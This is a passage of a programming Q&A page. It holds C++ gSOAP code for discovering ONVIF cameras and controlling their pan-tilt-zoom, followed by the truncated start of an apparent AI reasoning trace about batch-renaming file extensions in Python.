SOAP_OK || soap->error != SOAP_OK) { SOAP_DBGERR("GetSnapshotUri failed: %d, %s\n", soap->error, *soap_faultstring(soap)); result = -1; goto EXIT; } // 处理响应 - 使用正确的成员访问方式 if (rep.MediaUri) { *snapUri = rep.MediaUri->Uri; // Uri 是 std::string 类型,不需要指针检查 SOAP_DBGLOG("Snapshot URI: %s\n", snapUri->c_str()); } else { SOAP_DBGERR("MediaUri is null\n"); result = -1; } EXIT: // 清理资源 if (soap) { ONVIF_soap_delete(soap); } return result; } // 获取当前ptz的位置以及状态 int ONVIF_PTZ_GetStatus(const std::string& ptzXAddr, const std::string& ProfileToken) { int result = 0; struct soap* soap = nullptr; _tptz__GetStatus getStatus; _tptz__GetStatusResponse getStatusResponse; SOAP_ASSERT(!ptzXAddr.empty()); SOAP_ASSERT(nullptr != (soap = ONVIF_soap_new(SOAP_SOCK_TIMEOUT))); ONVIF_SetAuthInfo(soap, USERNAME, PASSWORD); getStatus.ProfileToken = const_cast<char*>(ProfileToken.c_str()); result = soap_call___tptz__GetStatus(soap, ptzXAddr.c_str(), nullptr, &getStatus, getStatusResponse); SOAP_CHECK_ERROR(result, soap, "ONVIF_PTZ_GetStatus"); if (*getStatusResponse.PTZStatus->MoveStatus->PanTilt == tt__MoveStatus__IDLE) { std::cout << " 空闲 ... " << std::endl; } else if (*getStatusResponse.PTZStatus->MoveStatus->PanTilt == tt__MoveStatus__MOVING) { std::cout << " 移动中 ... " << std::endl; } else if (*getStatusResponse.PTZStatus->MoveStatus->PanTilt == tt__MoveStatus__UNKNOWN) { std::cout << " 未知 ... " << std::endl; } std::cout << "当前p: " << getStatusResponse.PTZStatus->Position->PanTilt->x << "\n"; std::cout << "当前t: " << getStatusResponse.PTZStatus->Position->PanTilt->y << "\n"; std::cout << "当前z: " << getStatusResponse.PTZStatus->Position->Zoom->x << "\n"; EXIT: if (nullptr != soap) { ONVIF_soap_delete(soap); } return 0; } // 以指定速度移动到指定位置的ptz // p : -1 ~ 1 [] // t : -1 ~ 1 // z : 0 ~ 1 int ONVIF_PTZAbsoluteMove(const std::string& ptzXAddr, const std::string& ProfileToken) { int result = 0; struct soap* soap = nullptr; _tptz__AbsoluteMove absoluteMove; _tptz__AbsoluteMoveResponse absoluteMoveResponse; SOAP_ASSERT(!ptzXAddr.empty() && !ProfileToken.empty()); SOAP_ASSERT(nullptr != (soap = ONVIF_soap_new(SOAP_SOCK_TIMEOUT))); ONVIF_SetAuthInfo(soap, USERNAME, PASSWORD); absoluteMove.ProfileToken = const_cast<char*>(ProfileToken.c_str()); absoluteMove.Position = soap_new_tt__PTZVector(soap); absoluteMove.Position->PanTilt = soap_new_tt__Vector2D(soap); absoluteMove.Position->Zoom = soap_new_tt__Vector1D(soap); absoluteMove.Speed = soap_new_tt__PTZSpeed(soap); absoluteMove.Speed->PanTilt = soap_new_tt__Vector2D(soap); absoluteMove.Speed->Zoom = soap_new_tt__Vector1D(soap); absoluteMove.Position->PanTilt->x = 0.440833; // p absoluteMove.Position->PanTilt->y = 0.583455; // t absoluteMove.Position->Zoom->x = 0.0333333; // z // x 和y的绝对值越接近1,表示云台的速度越快 absoluteMove.Speed->PanTilt->x = 0.5; absoluteMove.Speed->PanTilt->y = 0.5; absoluteMove.Speed->Zoom->x = 0.5; result = soap_call___tptz__AbsoluteMove(soap, ptzXAddr.c_str(), nullptr, &absoluteMove, absoluteMoveResponse); SOAP_CHECK_ERROR(result, soap, "ONVIF_PTZAbsoluteMove"); EXIT: if (nullptr != soap) { ONVIF_soap_delete(soap); } return 0; } int ONVIF_PTZStopMove(const std::string& ptzXAddr, const std::string& ProfileToken) { int result = 0; struct soap* soap = nullptr; _tptz__Stop tptzStop; _tptz__StopResponse tptzStopResponse; SOAP_ASSERT(!ptzXAddr.empty() && !ProfileToken.empty()); SOAP_ASSERT(nullptr != (soap = ONVIF_soap_new(SOAP_SOCK_TIMEOUT))); ONVIF_SetAuthInfo(soap, USERNAME, PASSWORD); tptzStop.ProfileToken = const_cast<char*>(ProfileToken.c_str()); result = soap_call___tptz__Stop(soap, ptzXAddr.c_str(), nullptr, &tptzStop, tptzStopResponse); SOAP_CHECK_ERROR(result, soap, "ONVIF_PTZStopMove"); EXIT: if (nullptr != soap) { ONVIF_soap_delete(soap); } return result; } enum PTZCMD { PTZ_CMD_LEFT, PTZ_CMD_RIGHT, PTZ_CMD_UP, PTZ_CMD_DOWN, PTZ_CMD_LEFTUP, PTZ_CMD_LEFTDOWN, PTZ_CMD_RIGHTUP, PTZ_CMD_RIGHTDOWN, PTZ_CMD_ZOOM_IN, PTZ_CMD_ZOOM_OUT, }; // speed --> (0, 1] int ONVIF_PTZContinuousMove(const std::string& ptzXAddr, const std::string& ProfileToken, enum PTZCMD cmd, float speed) { int result = 0; struct soap* soap = nullptr; _tptz__ContinuousMove continuousMove; _tptz__ContinuousMoveResponse continuousMoveResponse; SOAP_ASSERT(!ptzXAddr.empty() && !ProfileToken.empty()); SOAP_ASSERT(nullptr != (soap = ONVIF_soap_new(SOAP_SOCK_TIMEOUT))); ONVIF_SetAuthInfo(soap, USERNAME, PASSWORD); continuousMove.ProfileToken = const_cast<char*>(ProfileToken.c_str()); continuousMove.Velocity = soap_new_tt__PTZSpeed(soap); continuousMove.Velocity->PanTilt = soap_new_tt__Vector2D(soap); continuousMove.Velocity->Zoom = soap_new_tt__Vector1D(soap); switch (cmd) { case PTZ_CMD_LEFT: continuousMove.Velocity->PanTilt->x = -speed; continuousMove.Velocity->PanTilt->y = 0; break; case PTZ_CMD_RIGHT: continuousMove.Velocity->PanTilt->x = speed; continuousMove.Velocity->PanTilt->y = 0; break; case PTZ_CMD_UP: continuousMove.Velocity->PanTilt->x = 0; continuousMove.Velocity->PanTilt->y = speed; break; case PTZ_CMD_DOWN: continuousMove.Velocity->PanTilt->x = 0; continuousMove.Velocity->PanTilt->y = -speed; break; case PTZ_CMD_LEFTUP: continuousMove.Velocity->PanTilt->x = -speed; continuousMove.Velocity->PanTilt->y = speed; break; case PTZ_CMD_LEFTDOWN: continuousMove.Velocity->PanTilt->x = -speed; continuousMove.Velocity->PanTilt->y = -speed; break; case PTZ_CMD_RIGHTUP: continuousMove.Velocity->PanTilt->x = speed; continuousMove.Velocity->PanTilt->y = speed; break; case PTZ_CMD_RIGHTDOWN: continuousMove.Velocity->PanTilt->x = speed; continuousMove.Velocity->PanTilt->y = -speed; break; case PTZ_CMD_ZOOM_IN: continuousMove.Velocity->PanTilt->x = 0; continuousMove.Velocity->PanTilt->y = 0; continuousMove.Velocity->Zoom->x = speed; break; case PTZ_CMD_ZOOM_OUT: continuousMove.Velocity->PanTilt->x = 0; continuousMove.Velocity->PanTilt->y = 0; continuousMove.Velocity->Zoom->x = -speed; break; default: break; } // 也可以使用soap_call___tptz__RelativeMove实现 result = soap_call___tptz__ContinuousMove(soap, ptzXAddr.c_str(), nullptr, &continuousMove, continuousMoveResponse); SOAP_CHECK_ERROR(result, soap, "ONVIF_PTZAbsoluteMove"); /* sleep(1); //如果当前soap被删除(或者发送stop指令),就会停止移动 ONVIF_PTZStopMove(ptzXAddr, ProfileToken);*/ EXIT: if (nullptr != soap) { ONVIF_soap_delete(soap); } return result; } void cb_discovery(char* deviceXAddr) { std::cout << "\n==== 发现设备: " << deviceXAddr << " ====" << std::endl; std::string ptzXAddr, profilesToken; // 获取设备能力信息 int ret = ONVIF_GetCapabilities(deviceXAddr, &ptzXAddr); if (ret != 0) { std::cerr << "错误: 获取设备能力失败 (错误码: " << ret << ")" << std::endl; return; } std::cout << " PTZ服务地址: " << ptzXAddr << std::endl; // 获取设备配置文件 ret = ONVIF_GetProfiles(ptzXAddr, &profilesToken); if (ret != 0) { std::cerr << "错误: 获取配置文件失败 (错误码: " << ret << ")" << std::endl; return; } std::cout << " Profile Token: " << profilesToken << std::endl; // 执行PTZ操作 ret = ONVIF_PTZContinuousMove(ptzXAddr, profilesToken, PTZ_CMD_LEFTUP, 0.3); if (ret != 0) { std::cerr << "错误: PTZ操作失败 (错误码: " << ret << ")" << std::endl; return; } // 停止PTZ操作 ret = ONVIF_PTZStopMove(ptzXAddr, profilesToken); if (ret != 0) { std::cerr << "错误: 停止PTZ操作失败 (错误码: " << ret << ")" << std::endl; } else { std::cout << " PTZ操作已停止" << std::endl; } } int main(int argc, char** argv) { ONVIF_DetectDevice(cb_discovery); return 0; } 获取配置文件失败

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Python批量修改文件后缀

<think>我们有一个明确的需求:使用Python批量修改文件扩展名(后缀名)。根据用户提供的引用,特别是引用[2]和引用[3],我们可以得到两种不同的情况: 1. 引用[2]:将没有后缀的文件批量添加后缀(例如.txt)。 2. 引用[3]:将指定后缀名的文件批量修改为另一种后缀名。 因此,我们需要根据用户的具体需求来编写脚本。但用户的问题描述是“批量修改文件扩展名”,这通常指的是改变已有文件的后缀名,但也可以包括给无后缀文件添加后缀。 我们可以设计一个灵活的脚本,能够处理两种情况: - 情况1:将指定目录下所有指定旧后缀名的文件改为新后缀名(例如将.jpg改为.png)。 - 情况2